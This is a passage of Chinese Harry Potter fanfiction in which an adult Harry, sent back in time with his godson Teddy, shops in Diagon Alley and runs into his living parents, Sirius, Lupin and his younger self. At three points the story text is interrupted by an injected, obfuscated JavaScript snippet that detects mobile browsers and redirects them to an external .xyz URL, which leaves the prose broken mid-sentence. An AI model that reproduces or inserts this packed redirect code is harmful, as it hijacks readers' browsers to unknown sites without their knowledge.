接下来几天的生活很平静,在等待泰迪入学通知书的同时,为入学做准备,哈利开始每天早上给泰迪补习语言课程。 那天和邓布利多谈话到最后,哈利曾请他帮忙查看泰迪的情况。邓布利多在泰迪身上施了好几个咒语,甚至使用了某种可以探测年龄的仪器——事实证明, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156345|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 泰迪并非暂时性的长大,而是永久性的。在仪器上显示的年龄是11岁,换句话说,泰迪整整长大了6岁。显然,魔法界并没有可以让人永久增龄的咒语或者魔药。百思不得其解下,邓布利多得出个不算是结论的结论——也许是穿越时空带来的副作用。 随后,邓布利多询问了哈利关于让泰迪今年入学的意见——尽管他的名字没有登记在案,但这不算什么大问题,校长随时有权利作出增改。哈利犹豫了一阵,最后颔首给予肯定的回复。以后他必然要去寻找回去原来时空的办法,他没法保证自己能一直呆在泰迪身边照看他,而这里也没有别的人可以拜托,再说,进入霍格沃兹读书对孩子来说绝非坏事。泰迪在学校的生活会很快乐的,一如当年的哈利。 倒是这个消息把泰迪乐坏了,要知道巫师家的孩子往往是恨不得快点长大好进霍格沃兹读书的。如今不用再多等个6年,怎能不把孩子欢喜得上蹦下跳的呢。 那么剩下的问题就是,外表和心智的成长,并不代表拥有的知识也会随之增长——5岁时的泰迪甚至连单词都认不全,更别提入学后还要他去读课本写论文了。 于是,每天早上枯燥的语言课程每每让玩性还重的泰迪痛不欲生,不是没抗议抱怨过,只是哈利浅浅淡淡一句“不学可以,等你以后在年级里吊车尾了,我看你凭什么对付食死徒”,就让泰迪乖乖的闭嘴并努力把自己的脸埋到书本中的ABC里去了。 下午的时间则可以自由活动,泰迪最喜欢的活动之一就是上下跑动、探索着新家的各个房间——也许是特伦斯的恶趣味,不少房间都设置了无伤大雅的小陷阱,不过对小孩子来说倒更像是不断的惊喜,越是古怪玩意多的房间,往往越是能让他玩得不亦乐乎。而有时,泰迪干脆就失踪一个下午不见踪影,这时候哈利就会知道他肯定又是溜去蜘蛛巷斯内普的家里玩了。 说真的,放在以前,哈利情愿相信德斯礼一家会接受魔法,也不会想到有一天他家的壁炉会和斯内普家的连上飞路网。当然,即使放在现在,这也是在泰迪可怜巴巴地强烈要求,而看上去极为不情不愿的斯内普居然没有出声反对的前提下达成的。 结果,泰迪也成为了这个飞路网唯一的使用者——哈利不会自讨没趣到去被斯内普赶回来,而斯内普呢,完全不在考虑范围内。 泰迪往那边跑得越来越勤,对此早已麻木的哈利自然是随他去了。别说,泰迪在斯内普那里看来真是过得挺如鱼得水的——几乎每天都会带上几瓶魔药回来,哈利也只是刚开始时多看几眼确定斯内普应该不会真的下毒害他的教子后便彻底地撒手不管。至今为止,泰迪是搬了不少挺实用魔药回来,但也不见得斯内普会亏什么。哈利有些郁闷地想。别以为他不知道泰迪经常拿些家里储藏室里的魔药材料偷渡过去——那都是上千年的珍贵材料啊。好吧,只要泰迪不胳膊肘往外拐,彻底把储藏室搬空的话他也就睁只眼闭只眼——做个被瞒在鼓里的好教父吧。 哈利极为矛盾。至少泰迪以后在魔药课上不会步上他后尘的这一点,他该为此可喜可贺吗。可对象偏偏是斯内普…… 好吧,他承认他吃醋了。 其实,最令哈利奇怪的还是,泰迪到底为什么那么喜欢黏着斯内普?泰迪这孩子他是从小看到大的,如果是在以前,斯内普这种随时能冰冻三尺的神态没把他吓哭就不错了。 哈利也曾试探着问过泰迪——难道他不觉得斯内普可怕吗? 而泰迪却是眨眨眼,仿佛哈利问了个奇怪的问题,噗哧一声笑了出来。 “可怕?为什么?可是西弗的很美啊!”他歪着脑袋,食指撑着下巴想了半天,又加上一句,“唔,应该说感觉很亲切!” 斯内普……很美?亲切? 哈利彻底懵了。 “哈利你不这么觉得吗?” 哈利差点直接跳起来大吼我为什么要这么觉得我怎么可能会觉得油腻腻的老蝙蝠美丽斯内普要能跟美丽画上等号那母猪也能变苗条了!!! 泰迪却仿佛不知道哈利内心的波涛汹涌,他上前一步牵住哈利的手,用哈利看来有些诡异的眼神注视了他半晌,理所当然似的点点头,灰色的大眼睛眯成了一条缝,“嗯,还是哈利的最美。” 他大概是老了,这是代沟吗代沟吗。哈利在心里哀嚎连连。 在哈利日益增加的迷惑与不解中,7月30日那天,通知书到了。 8. 他们很幸福 “唉,没有了……” 哈利正仔细研究手中的单子,闻言头都不抬,随口嗯了一声,“什么没有了?” 大概有些不满哈利那漫不经心的态度,泰迪鼓着腮帮子,深吸一口气,提高声量想引起哈利的注意,“韦斯莱魔法把戏商店啦!乔治的店!没有了啦!” “注意用词,是还没开店,不是没有了。”哈利总算是把视线转移过来,不以为然地耸肩,“我以为那应该挺明显的。毕竟他们还在霍格沃兹上学? 泰迪的嘴立马嘟了起来,垂着小脑袋低声嘀咕,“这有什么区别?反正就是没了……哈利你也不提醒下我。”害他一来到对角巷就兴冲冲地跑去找他最熟悉的那家店,结果可想而知,乘兴而去,败兴而归。 哈利慢慢地眨了眨眼,然后他对泰迪邪邪笑道,“这有什么好难过的?说不定是件好事呢。” 有些恼怒的,带着“这算什么好事”的表情,泰迪抬头瞪了哈利一眼。 哈利吃吃地笑了,“你不觉得和乔治弗雷德他们一起创业是个不错的主意么?他们现在才高你两个年级,唔,我不会反对你们把霍格沃兹闹个翻天的。”他很满意地看到泰迪脸上的沮丧一扫而空,连带着卷发的铂金色也似乎更灿烂了。 不过,泰迪今天的发色让他想到马尔福了。毕竟是和当年同一天来的对角巷,不知道等会儿会不会遇到这个从小和他是死对头的斯莱特林。唉,他居然为这个可能性而感到高兴,想想真是可悲。 哈利发呆的当儿,泰迪拉了拉他的衣摆,小脸上满是好奇,“可是弗雷德是谁?” “哦,我都忘了你不认识他。”哈利回过神来,柔声道,“弗雷德和乔治是双胞胎,长得一模一样,还是两个活宝。我想他们会很高兴让你在他们的计划中掺一脚的。”注意到哈利虽然脸上带笑,但碧绿眼眸中却隐隐透出连他自己也未察觉的哀伤,泰迪牵着他的手,微不可见地皱皱眉,“哈利你不高兴吗?” “什么?不高兴?没有,我很好啊。”哈利不自在地别过头,干咳了几声。他望望天色,随后仿佛什么事都没有似的回头冲泰迪微笑,“好了,我们要买的东西挺多的,但时间很紧,再不快点去买齐就要天黑了。”他再次扫了眼单子——需要买的有书本、长袍、魔杖、坩埚、魔药材料等琐琐碎碎的一大堆,当年他怎么就没觉得需要准备的东西有这么多呢——摸摸下巴,抬头四处看了圈,“泰迪你能自个儿先去摩金夫人长袍店买长袍吗?那边裁衣会需要点时间。”哈利想了想,从长袍里取出一袋子加隆,又从里面分出一小袋交给泰迪,“我等会儿先去隔壁书店买课本,买完再来接你去买魔杖和其它的。” 泰迪看看手中的钱袋,又看看他,略有点不安的样子。哈利身体微微前倾,伸手摸了摸他的头,笑道,“你一个人行吗?” “嗯。”只是稍微迟疑了一下,泰迪就坚定的点点头。 “很好。”哈利直起腰一拍他的背,“我们走吧。” 一路上经过各种商店,对角巷还是老样子,一如既往的挤满形形色.色前来购物的巫师,如潮水般在熙熙攘攘的商店间不断流动;间或夹杂着“蜥蜴肝脏,每盎司十七纳特”之类的叫卖吆喝声,整条街洋溢着愉快的音符。不少孩子簇拥在魁地奇精品专卖店的橱窗前,探着身子往里面看,哈利听到某个孩子的赞叹声,“这是最新的光轮2000呢!真想买!”哈利低头见身旁的泰迪果然露出渴望的表情,心里微微一笑,不禁暗自寻思,以前在家和泰迪玩魁地奇的时候发现他的飞行天赋也不错,一年级不好说,但二年级入队大概不成问题,要不要先给他买一把预备着——哈利瞄了眼钱袋里——唔,今天可能不够钱,等到圣诞节或他生日时送也可以吧。可惜只是光轮2000啊,哈利心中叹气,真怀念自己的白恒星(注1)。 要说哈利现在绝对是不缺钱养活泰迪和自己的。他在睿瓦纳塔最接近顶层的房间里找出两个小金库,一个堆满了金加隆的小山,另一个则是储放了不少哈利认为应该是类似于古董的玩意。哈利曾认真考虑过要不要在古灵阁开个金库,但一来他对古灵阁的保安措施评价不高——开玩笑,就他在霍格沃兹的七年里古灵阁就被闯入过两次,好吧,虽然有一次是他和罗恩赫敏一起干的;二来他发现睿瓦纳塔的保护咒更胜一筹,即使算上和他们连了飞路网的斯内普,能进入塔里的也就只有三个人,再来就是这两个金库另外设置了防御措施,只有哈利本人,即睿瓦纳塔的现任主人才能打开它们。 现在哈利深深为自己的英明决策感到庆幸,刚刚路过古灵阁的时候就听到外面不少人在嚷嚷,貌似有外人闯了进去并成功偷走了某样东西。难道是魔法石?哈利眯起眼,想起了那个曾经被附身的奇洛。可是海格为什么没有来转移魔法石?伏地魔又为什么还需要魔法石,上次梦里看到他的时候明明还是活蹦乱跳的。奇洛呢?为什么今年的黑魔法防御课教师不是他而是…… 暂且把满腹的疑惑压下,在长袍店门口分别后,哈利目送直到泰迪的背影消失在店里,才又迈开步子走向隔壁的丽痕书店。哈利一只脚正要踏入书店,忽然反射性定住不动愣了几秒,然后想到什么似的笑出了声,接着无奈地摇摇头走了进去。 他都忘了丽痕书店是在他十八岁那年才大装修过一次,等新店重开后,里面的布局全改了不说,贴在橱窗上的海报一律换成哈利打败伏地魔那一刻的特写——哈利很怀疑那种情形下怎么还能有人敢去拍照,果然包括丽塔在内的记者,姑且称他们为某种难以理解的生物,都是可以为事业玩命的吗。书店里最显眼的畅销书架上一眼望过去摆着的都是《哈利波特与伏地魔的两三事》《我是怎样打败伏地魔的——记二十年来巫师界最伟大的英雄》《哈利波特战友录第一卷——赫敏·格兰杰》乃至《哈利波特情史》等等诸如此类关于哈利·波特的传记野史——真真是琳琅满目应有尽有。以至于很长一段时间哈利根本不敢踏足丽痕书店,最糟的是只要他人一出现在对角巷,立马会被周围的崇拜者们围得水泄不通、追得抱头鼠窜——魁地奇比赛都不见得有这么激烈,摄魂怪们都不见得有这么追魂。 当然,现在的丽痕书店还是那个老样子,书架从天花板上垂挂下来而不是悬浮在空中。走马观花地浏览了一遍店里摆放的书,哈利一面对照着书单,一面把泰迪一年级的课本都挑了出来,不敢在大庭广众下使用无杖魔法施展悬浮咒的他,只好腾出一只手来抱着十几本厚厚的教科书。 “泰迪的课本都齐了,接下来……我还需要七个年级的黑魔法防御的课本。”哈利有些困难的维持着一手抱书的姿势,把泰迪的书单塞进口袋里,又摸出另一张单子来,凑近扫了眼,“唔,真麻烦,每个年级用的居然是不同著者的课本,选这些课本的人脑子进水了吗?” 没错,在决定泰迪入学的同时,哈利也被邓布利多赶鸭子上架——成了黑魔法防御课教师。他本人自然是毫无这种意愿,但邓布利多只是摸出一块不知从哪里变出来的手绢擦擦眼角,假惺惺又看似有些委屈地说,“本来这学期找好的黑魔法防御老师忽然去世了,据说是魔法意外造成的。可现在已临近开学了,根本来不及再去找一个具有真才实学的新老师。” 哈利觉得自己的脸有点抽搐,说真的,有真才实学的黑魔法防御老师,勉强算上假穆迪的话,他也就碰过两个而已,其余的不是饭桶就是草包,斯内普不在讨论范围内,邓布利多怎么好意思睁眼说瞎话来着! “反正调查神秘司里的拱门也需要段时间,一些必要的手续是不能省的,毕竟它归魔法部所有。那么与其你在家里干等着浪费时间,不如来霍格沃兹做老师,同时又能自由使用霍格沃兹图书馆的禁书区,及我的私人藏书区。我相信西弗勒斯也会很乐意让你使用他的私人藏书阁的,这么一来,也许你能因此找到回去的方法也说不定。再说你不是不放心泰迪吗,我想泰迪也会很高兴教父就在身边的。”彻底无视角落里斯内普冒起三丈高的怒火,擅自为他的藏书阁作出安排,白胡子老人湛蓝的双眼从半月形镜片后注视着哈利,透着“你就不能帮帮我这个可怜的老人吗”的狡黠神情。 哈利承认邓布利多抛出的诱饵还是相当具有诱惑力的。但一旦认真把自己套入角色后就责任感很强的哈利,为学生们前途着想的他还是有些犹豫的。的确,黑魔法防御一向是他的强项,当初在D.A时也教过黑魔法防御,他不能说完全没经验。但那时毕竟人数少,即使是不同年级的也是教同样的内容,形式也不是很正规。可要同时教七个年级就得另当别论了,必须列出符合各个年级学生的教学提纲,还要考虑OWLS和NEWTS的复习课程,这绝对不是简简单单就能做到的。 “可是……” “邓布利多,我反对。”一直没吭声的斯内普粗鲁地打断了哈利,“他才22岁,还说自己没读霍格沃兹的七年级,也没考NEWTS。”斯内普辩驳道,“我很怀疑,这种连必要学历都没的人怎么能胜任当这一科的老师。” 他可以认为斯内普这是在排挤竞争对手吗?哈利不爽地撇撇嘴——当初那种情况根本不允许他去考NEWTS。不过哈利没打算就这点和他们坦白,即使是邓布利多他现在也不想说,虽然他心里清楚,邓布利多当初瞒着他设计让他赴死不过是在死中求生的策略。但好不容易摆脱了“大难不死的男孩”“巫师界的救世主”的光环,这可是哈利11岁以来一直梦寐以求却求之不得的,对所有巫师界的人用“一忘皆空”不是没想过,却不现实。现在机会来了,傻瓜才会去把它捡回来。因此哈利也只是大略把自己时代的状况,比如说伏地魔已经被消灭等大事交代了一下,却故意省去了自己在巫师界里的“名头”。 也难怪斯内普要看不起自己了。哈利深以为然地暗地里点头,他现在肯定在为自己死对头的儿子居然连NEWTS都考不过而幸灾乐祸吧。 “是吗?”邓布利多若有所思地抚着胡子,“但我能感觉到哈利的体内蕴藏着强大的魔力,而且他父母也都是优秀的巫师。也许我们该了解一下,哈利,你来这里前的职业是?” 哈利有些腼腆地挠挠头,心底冒出种在炫耀似的恶劣感,“呃……傲罗司……司长。” …… 理所当然的,哈利成了霍格沃兹教师中的一员,甚至连假名都顺带取好了——哈利·佩弗利尔——哈利这个大众名没必要特意去改,而姓氏就直接拿祖先的来充数。也亏得这姓氏过于古老,现今知道的人反而寥寥无几,甚至不必担心会被他父母察觉,传承至今的波特家早已忘记他们的起源。 而如今这位新上任的黑魔法防御课老师正东张西望地找着课本。因为是临时顶替,来不及自选教科书,结果只好直接沿用上一届的课本 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156346|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。哈利凭着印象,没什么困难的就找到黑魔法防御术专架,快手快脚地把书都找了出来,然后连同泰迪的课本一股脑扔在收银台上让店员结算,一边心里则盘算着泰迪那边是不是该差不多了。 “嘿,月亮脸,你看这本书怎么样?”背后传来神气飞扬的年轻男声。 “拜托你认真点,大脚板。”这次换成一个温和的声音。“我们是来给哈利买课本的,等会儿还要和詹姆斯莉莉一起带他去买魔杖呢,别浪费时间去看那些乱七八糟的闲书。” “那种万年不变的教科书谁有兴趣读啊。我觉得这本倒是不错,你看,《不留痕迹的整人小魔法365》,哈利学了后在学校就没人敢欺负他了。” “欺负他?那个混世小魔王,家都被他拆了好几遍了。在你和詹姆斯的教导下,谁有本事动得了他?” “哈哈,那是,我教子么,这点本事都没有我可是要哭的!” “还敢说,哈利都是被你带坏的……” 两个人在某个角落挑着教科书,不时互相调侃一番,完全没注意到背后有一个人浑身僵直,像石雕似的动弹不得。 不用转头,哈利也知道他身后的那两人是谁。 他本来很镇定的心,扑通扑通跳跃起来,又仿佛多出了很多颗心,接连着在体内爆炸。 梅林,他会心脏爆发而死的。 哈利的心一团乱,听着背后两人愉快的对话,听着父母和自己的名字被轻快的语调说出来,一股异样的酸味涌上鼻尖,他连忙深呼吸几口,眨眨眼,克制住欲将爆发的激动。 他现在需要一瓶「镇定剂」。哈利浑浑噩噩地想。 眼前的书店店员和那叠教科书就像在水里看到的景象一样,晃荡而不真实。 也许他该去打个招呼? 「别傻了,那不是显得很奇怪吗?他们又不认识“现在”的你。」 以自己的教子也是今年入学这个借口呢? 「或许你该先想想办法解释你和你父亲,甚至是11岁的自己酷似的相貌?」 这有什么关系,长得相似的人又不是没有。谁能猜到他的真正身份呢? 「那么,你想以什么身份和他们交往?」 “先生,先生!” 哈利一个激灵,不真实感迅速远离而去。他仍有些呆愣地看着眼前忽然放大的店员的脸,下意识地回道,“什么?” 店员明显是叫了他好几声,已经有点不耐烦了,“一共是30加隆7个西可,先生。” “哦,好。”哈利手忙脚乱地打开钱袋,数出31个金加隆,手有点颤抖,“不用找了。”说着放下金币,抱起书便忙不迭地冲了出去。 逃离书店的那一刻,哈利还是不由自主地悄悄回望了一眼。 仅是短暂一瞥,也足以让哈利看清那两人的形象。 小天狼星外表上看去比他印象里的起码年轻了二十岁,倒像是父母的结婚照里那样的英俊潇洒、放荡不羁。甚至连卢平也不再是那副穷困潦倒的模样,如今的他穿着体面的衣服,温文儒雅,棕色的头发梳得服服帖帖的。 果然,父亲和小天狼星都在的话,怎么也会在工作问题上帮卢平一把吧? 哈利舒了口气,本来几欲跳出喉咙的心开始慢慢平复下来。 一旦激动的心情褪去,一股说不清道不明的滋味又袭了上来。 他们都很幸福。 他该感谢伏地魔吗?虽然不知道他发了什么神经没去要哈利的命,但自己的父母都因此存活了下来,小天狼星也不会被诬蔑成背叛者而被关入阿兹卡班,卢平也不会因为在寻找工作上的不如意而潦倒不堪。至于小哈利,在父母、教父陪伴下长大,不再是个在姨妈家受尽欺凌的孤儿。 在这个时代,他们有着全然不同的生活,有着属于他们自己的幸福。他们不需要一个多出来的哈利·波特来扰乱他们的生活。 一切一切,都脱离了原来的历史。一切一切,似乎都在往好的方向走。 只有他,彻彻底底成了个外人。 还有泰迪。 谁也说不准现在的卢平还会不会和唐克斯相识并陷入爱河,就更别说这个时代的未来还会不会有泰迪·卢平的出生了。 可是,当他看到卢平在高高兴兴地为11岁的自己挑选课本,从未有过的惆怅感充塞着哈利的胸口,堵着难受。 本来,那个对象应该是泰迪。 卢平不应该为朋友的儿子,而是该为自己的儿子买书。带他走遍对角巷,亲自为他买齐入学所需的一切,最后再快快乐乐庆祝一番。 但他又能怎么做? 难道他能指着泰迪去跟卢平说“嗨,这是你未来的儿子”吗? 难道他能再去打卢平一拳,对他怒吼你该去陪着自己的儿子吗?人家只会把他当作莫名其妙的白痴来看。 这里的卢平,根本不知道自己会有个儿子…… 哈利的心彻底冷了下来,他抱紧手中的书,忽然很想给泰迪一个拥抱。 =============================== 注: 1.白恒星是继火弩箭二代后新推出的最新款飞行扫帚,飞行速度约为火弩箭的三倍有余,灵敏度更是上了一个层次,据说连一些高难度的飞行技巧也能轻易做出来。 9. 父与子 泰迪独自一人走进摩金夫人的店,心底有些惴惴不安。还没等他看清楚店里的情况,身后便传来一个和蔼的女声,“亲爱的,去霍格沃兹的?”回头看去,说话的是一个矮矮胖胖、一身淡紫,且面带微笑的中年女巫,“我们这里有许多。事实上,现在就有个年轻人在这里试衣呢。” 他看向店铺的后面,一个黑发凌乱的男孩子背对着他站在板凳上,而一旁则有个女巫正边测量边裁剪他的黑色长袍。摩金夫人让泰迪站到那男孩旁边的板凳上,从他头顶套下一件长袍,开始把它裁剪到合适的长度。 “嗨!”男孩对泰迪露齿一笑,友好地说,“你也是去霍格沃兹上学的吗?” 泰迪对上男孩那双藏在黑框眼镜后的、灵活闪亮的绿眼睛,正想着这男孩怎么看着这么眼熟,下一秒嘴就张大了。“哈利”两字差点没脱口而出,想起哈利的叮嘱,立马捂紧嘴又硬生生吞了回去。 “是……是的。”结结巴巴地回应后,他尴尬地把视线移向店外,有点不敢正视身旁的这个男孩。 前一刻成人版的哈利还在带自己逛对角巷,下一刻儿童版的哈利就跟自己在同一家店里试衣服,即使再怎么做好以后会在霍格沃兹见面的心理准备,缩小版的哈利毫无预兆的出现在眼前时,泰迪还是受到了挺大的刺激。 “一个人?”男孩问。 “教父陪我来的,不过他在隔壁书店买书。” “真巧,我教父和莱姆斯也在帮我买教科书呢,而爸爸妈妈正在帮我买宠物,但愿他们会给我买只猫头鹰而不是蟾蜍,蟾蜍太土气了。”男孩没有注意到泰迪听到“莱姆斯”这个名字时浑身一颤的异样,声音明快地说,“等会儿买完魔杖我想叫爸爸带我去看最新的光轮2000,小天狼星他们都说我继承了爸爸的飞行天赋,可惜霍格沃兹不收一年级的新生进魁地奇队,爸爸可能不会肯今年就给我买扫帚。”这让泰迪想起了自己的教父好像就是一年级就进了格兰芬多的魁地奇队的。 “一年级应该可以进吧?”泰迪不怎么肯定的插了句。 “你怎么知道的?”男孩睁大好奇的绿眼睛,“一年级新生都不能带自己的扫帚,我爸爸也说过二年级才能去参加入队选拔呢。” “我知道有人一年级就进队的,而且还是很厉害的找球手。”泰迪带着点小小的骄傲回答道。事实上就是哈利,当然,是长大版的。 “真的假的?”男孩一脸不相信,“我从没听说过。” “当然是真的!这是哈……教父说的!”泰迪激动起来差点说漏了嘴,然后又兀自懊恼起来,和缩小版的教父争论他自己未来的成就太奇怪了。 “好吧好吧。”男孩摆摆手,“为什么你一直在说你教父?你的爸妈呢?没有陪你一起来吗?” “……他们去世了。”本来还神色忿忿的泰迪顿时焉了。不知道为什么,特别是在男孩嘴里听到卢平的名字后,泰迪愈加不想提及这个话题。 “哦,我很抱歉。”男孩的声音也跟着低了下来,带着一丝歉意。 “这没什么。”泰迪满不在乎地扬起头,“教父说过我该为他们自豪。何况,我还有教父呢。西弗人也很好。” “西弗是谁?” “呃,教父说他是斯莱特林的院长……” “哦。”对此男孩没作什么评论,但泰迪清楚地看到男孩的脸上掠过一丝不屑。“你教父或父母以前是斯莱特林的?”他状似不经意地问了一句。 泰迪有些惊讶,“不……他们都是格兰芬多的。” 男孩点点头,貌似对这个答案很满意。这时他的校服已经缝制完毕,他咻地跳下板凳,却等在一旁没有离开。 “你还不走吗?” “我爸爸妈妈叫我在这里等他们。”男孩摸摸鼻子,耸耸肩,“本来我想去书店找教父他们,不过和你说说话也挺有意思的。” “哦。”泰迪应了声,不知道该说些什么。他总觉得自己没法把眼前的男孩当成自己未来的教父。 不像。他心里想。 “我说,你看外面!”男孩忽然冲着窗外吹了个口哨,泰迪顺着他的目光望出去,有一家三口正神态高傲地站在外面聊天。这有什么好看的?泰迪内心疑惑着。 但男孩显然不是这么想的,他抬起下巴,指指外面那个和他们差不多年纪、有着铂金头发的男孩,“看到那个男孩了吗?他也是今年进霍格沃兹的。”他回头看向泰迪,“我跟你说,别太接近他比较好。” “为什么?” “因为他肯定会进斯莱特林的。又是一条毒蛇。”男孩懒洋洋地盯着那一家人,语调中充满鄙夷,“他们推崇纯血巫师,看不起混血和麻瓜出生的巫师。” “诶?”泰迪显然是初次听闻这种事,脸上露出惊讶的表情。“为什么?” 这时他的衣服也缝制好了,他迅速地从高脚凳上跳下来,站到男孩的旁边。 “贵族心理作祟呗,虽然挺愚蠢的我得说。”男孩不以为然地摊开双手。“真正的纯血巫师太少了,要是照他们说的把麻瓜出身的巫师都赶走的话,巫师迟早绝种。” 男孩向左右望了望,然后神秘兮兮地对泰迪招招手,让他靠近些,然后凑到他耳边低声说道,“而且我听说,追随伏地魔的黑巫师全都是斯莱特林出身的。”男孩停顿了会儿,有点失望泰迪在听到“伏地魔”三个字时没有像别人一样打冷颤——这是他最爱玩的游戏之一,毕竟敢直呼伏地魔的人可谓是少之又少的。随即他似乎省起什么,问道,“唔,我猜你没听说过‘食死徒’?” “不,我知道。”泰迪简洁地回答。他没打算说自己的父母就是死在食死徒手下的。 “所以说,斯莱特林的都是坏胚子。”男孩接着说,“虽然爸爸说过分院前都不知道我们会去哪个学院,但我肯定会去格兰芬多的。如果我进了斯莱特林的话,小天狼星大概要不认我这个教子了。” “斯莱特林有那么坏吗?可我教父说过就算进斯莱特林也不要紧啊。”泰迪皱皱眉,他对学院的概念也是这几天才建立起来的,别说哈利从未给他灌输过学院间的偏见,对斯内普的好感也让他并不讨厌斯莱特林这个学院。因此,斯莱特林推崇纯血和出食死徒的事倒也是第一次听闻。 “可他怎么可能不介意!?格兰芬多和斯莱特林可是死对头!”男孩大声嚷嚷道,满脸不可思议。 “不管进哪个学院,我还是我啊?”泰迪不在意地笑笑,“但我听说孩子一般会和父母进一样的学院?那我可能还是格兰芬多的机会比较大吧 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156347|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ?” 男孩这才仿佛松了口气,避开了这个尴尬的问题,轻松地大谈起喜欢的魁地奇队。 泰迪知道的魁地奇队并不多,所以几乎插不上嘴。不过他觉得光是听听也很有趣,于是兴致也高了起来。说实话,泰迪很高兴他转移了话题。不知道为什么,和眼前的小哈利谈论有关斯莱特林或分院的问题并不让人那么愉快。他一向很喜欢和自己的教父聊天,但刚才,泰迪的心里却莫名地泛起了淡淡的、奇妙的排斥感。 真的一点都不像。他再次在心里确定。 这个哈利以后怎么能变得像教父那样成熟呢? 他想像不出。 “哈利,校服试好了?”突如其来的沉稳男声把聊得正起劲的两个男孩吓得差点跳起来。 泰迪回过头看去,一个三十出头的男人正跨进门槛、并走向他们——瘦高的身材,蓬乱的黑发,深棕色的长袍。和他身旁的男孩相貌极为相似,和长大后的哈利更是有种气质上的相近,除了他的眸色是淡褐色而不是祖母绿的。 泰迪打量他的同时,那个男人的眼睛也正对泰迪投以微妙的目光,并带着几分讶然。 很快泰迪就知道了这个人的身份,因为身旁的男孩叫了声“爸爸”,并欢快地扑了上去。 詹姆斯·波特。应该被伏地魔杀死的哈利的父亲。在这里顺利地活了下来。 “你也是今年进霍格沃兹的?”男人眼中的惊讶一闪而过,笑着跟他打招呼。 泰迪愣愣地点头,没有吭声。 “你们动作太慢啦,我都等好久了。”男孩直接赏了他爸爸一拳,当然杀伤力可以忽略不计。 “哎哟痛……还不是为了你的宠物。”男人把注意力转回自己的儿子,配合着假装被打得很痛,双手捂住肚子憋出可笑的表情。“你妈妈看上了蒲绒绒,但我觉得男孩子还是有个猫头鹰比较帅气,所以我们从巫师宠物店换到咿啦猫头鹰商店才耽误时间的。结果给你买了只鸣角枭,儿子,不错吧?” “干得好,爸爸。”男孩对他的父亲翘起了大拇指。“妈妈呢?” “她去隔壁叫天狼星他们了。”男人摸摸自己乱翘的头发,也恢复了正经模样,“等会儿我们先去吃个冰激淋再去买魔杖吧。” “太棒了!我喜欢弗洛林冷饮店的冰激淋。”男孩欢呼道。 泰迪几乎是木然地看着男孩对他爸爸埋怨撒娇,又毫无表情地看着詹姆斯对小哈利露出温柔又宠爱的表情。 怪异的感觉。 一瞬间,眼前的情景似乎被替换成自己在和哈利撒娇。那里没有从未谋面的父母的存在,只有哈利。 你不知道吗,亲爱的。一个小小的声音在耳边徘徊。你有多爱你的教父,他就有多爱你。 是了,这就是答案。 “泰迪。”传入耳的是熟悉的呼唤。 阳光明媚处,哈利正一手抱着书向店里面招手呢。 泰迪绽开了极为灿烂的笑容,铂金色的头发居然“砰”的一声染成了亮红色。他响亮而快乐地叫了起来,“哈利!”全然不顾周围人惊愕的表情,及因为他突变的发色和叫出口的名字而目瞪口呆的男孩,径自冲了出去。 管他们呢,泰迪想,他现在只想扑到哈利的脖子上。 10. 死去的魔杖 在去魔杖店的路上,泰迪异常的很安静。 街上热闹的景象并不能吸引他的注意力,周围兜售各种奇形怪状商品的店铺,在他看来完全失去了新鲜感。他只是静静地走在哈利的一旁,下巴搁在手中竖抱的书本上,灰色的眸子失神地跟着自己的脚步移动,不知道在想些什么。 “小心。” 一只手臂轻拦在他身前。 远离的喧嚣声一下子都涌了回来。泰迪带着忽然从沉思中惊醒的诧异,茫然地对上哈利担忧的神情。 “你刚刚差点撞到人了。”哈利微微叹气,“在想什么这么入神?” 不管是泰迪从长袍店里冲出来后的拥抱,还是先前的走神,都让哈利觉得,他大概错过了什么——这孩子不大对劲。 泰迪的嘴唇动了动,视线再次转回去盯住书本,没有做声。 “有什么是不能和我说的吗?”哈利手搭着泰迪的肩膀,有些挫败感地说,“那我就不问了。” 泰迪摇摇头,开口说,“我在霍金夫人的店里遇到了这里的哈利,还有哈利的爸爸。” “嗯,我也看到他们了。”哈利温和地说道,所以他才选择在店外呼唤泰迪而不是进入店内。 “完全不像嘛。”泰迪低声嘀咕。 哈利愣怔了一下,等他终于意识到这句话的含意后放声大笑,却换来泰迪的怒视。 “这么不像?”他忍住笑问。 “嗯,”泰迪点头,把自己和小哈利相遇的情形大致说了一遍,“我觉得他很想诅咒那个金发的男孩。” 哈利哈哈大笑,摸着自己的下巴,“唔,毕竟这里的哈利可是有父母的呢,我们的童年不一样,性格不像也不奇怪。不过很想诅咒马尔福这点倒是没变嘛。” 